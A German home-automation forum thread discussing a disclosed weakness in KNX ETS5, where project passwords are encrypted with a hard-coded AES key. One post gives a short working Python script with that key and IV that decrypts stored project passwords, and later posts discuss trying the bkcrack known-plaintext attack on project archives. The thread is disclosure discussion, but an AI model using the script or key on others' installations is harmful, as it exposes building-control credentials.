Wenn dies dein erster Besuch hier ist, lies bitte zuerst die Hilfe - Häufig gestellte Fragen durch. Du musst dich vermutlich registrieren, bevor du Beiträge verfassen kannst. Klicke oben auf 'Registrieren', um den Registrierungsprozess zu starten. Du kannst auch jetzt schon Beiträge lesen. Suche dir einfach das Forum aus, das dich am meisten interessiert.
Wenn sich das bewahrheitet (wovon ich ausgehe), ist das eine unterirdisch schlechte Implementierung mit Auswirkungen auf KNX secure.
Danke für dasTeilen!
Ich sage es mal so "na wie gut das die ETS5 jetzt fertig ist und bald die ETS6 kommt."
The KNX Association plans to address the issue in the ETS6 which has not been publicly released at the time of writing. According to Joost Demarest, CTO and CFO of the KNX Association, ETS5 will not receive any patches as development for that version has already been concluded. He permitted immediate publication of the issue on 2021-07-12, forgoing the offered 90 days delay for the disclosure.
Dieser Beitrag enthält keine Spuren von Sarkasmus... ich bin einfach so?!
Was wurde fuer ein Aufwand betrieben um das Image vom unisicheren KNX loszuwerden!
Und dann werden hier ein paar Zeilen Code gespart.
Das ging nur so lange gut, weil keiner geschaut hat.
Super Arbeit @ Robert Gützkow!
Ich habe den Code mal etwas komprimiert um deutlich zu machen wie einfach das ist (wenn man die Luecke erstmal gefunden hat).
(Python 3, nur Projektpasswort, Rest analog.)
Code:
# ALL CREDIT TO: https://github.com/robertguetzkow/ets5-password-recovery
import base64
import pyaes
import glob
import os
import xml.etree.ElementTree as ET
PROJECT_STORE = "C:/ProgramData/KNX/ETS5/ProjectStore/P-????"
KEY = base64.b64decode("Ir0WzbuWsOGOl3uz/vrdiIbn44ovim/Z0vL1ZjrCA3E=")
IV = base64.b64decode("jpd7s/763Yjmrmy+rj58rw==")
def decode(cipher_b64):
cipher_text = base64.b64decode(cipher_b64)
aes = pyaes.AESModeOfOperationCBC(KEY, iv=IV)
decrypted = aes.decrypt(cipher_text)
return decrypted.decode("utf-16")
def decode_project(file):
with open(file, encoding="u8") as f:
root = ET.fromstring(f.read())
info = root.find(".//ProjInfo")
pwd = info.attrib.get("ProjectPassword")
if pwd:
decoded = decode(pwd)
else:
decoded = "(no password set)"
return info.attrib["Name"], decoded
def main():
for path in glob.glob(PROJECT_STORE):
project_name, decoded_password = decode_project(os.path.join(path, "P"))
print(project_name, "---", decoded_password)
if __name__ == "__main__":
main()
Habe vorhin einen interessanten Ansatz gefunden: bkcrack
Wenn man die Attacke auf die Datei project.xml richten würde (die eh nur 1KB groß ist) und mit knapp 100 Bytes plaintext kennt, könnte das sogar recht schnell gehen.
Im Beispiel hat er für eine 1,2KB Datei mit 13 Byte plaintext es in 6 Minuten geschafft.
Werde das die Tage mal ausprobieren ob und wie gut das klappt.
Vll hätte ich auch eher Interessant schreiben sollen.
Ich hab das mal unter die Lupe genommen und es funktioniert nicht so einfach.
Die Dateien sind komprimiert und somit findet man "<? xml version='1.0'[...]" nicht in der Datei.
Wenn man den Namen des Projekts in der XML ändert hat man keine 12 Bytes mehr am Anfang die überall gleich ist.
Wir verarbeiten personenbezogene Daten über die Nutzer unserer Website mithilfe von Cookies und anderen Technologien, um unsere Dienste bereitzustellen. Weitere Informationen findest Du in unserer Datenschutzerklärung.
Indem Du unten auf "ICH stimme zu" klickst, stimmst Du unserer Datenschutzerklärung und unseren persönlichen Datenverarbeitungs- und Cookie-Praktiken zu, wie darin beschrieben. Du erkennst außerdem an, dass dieses Forum möglicherweise außerhalb Deines Landes gehostet wird und bist damit einverstanden, dass Deine Daten in dem Land, in dem dieses Forum gehostet wird, gesammelt, gespeichert und verarbeitet werden.
Kommentar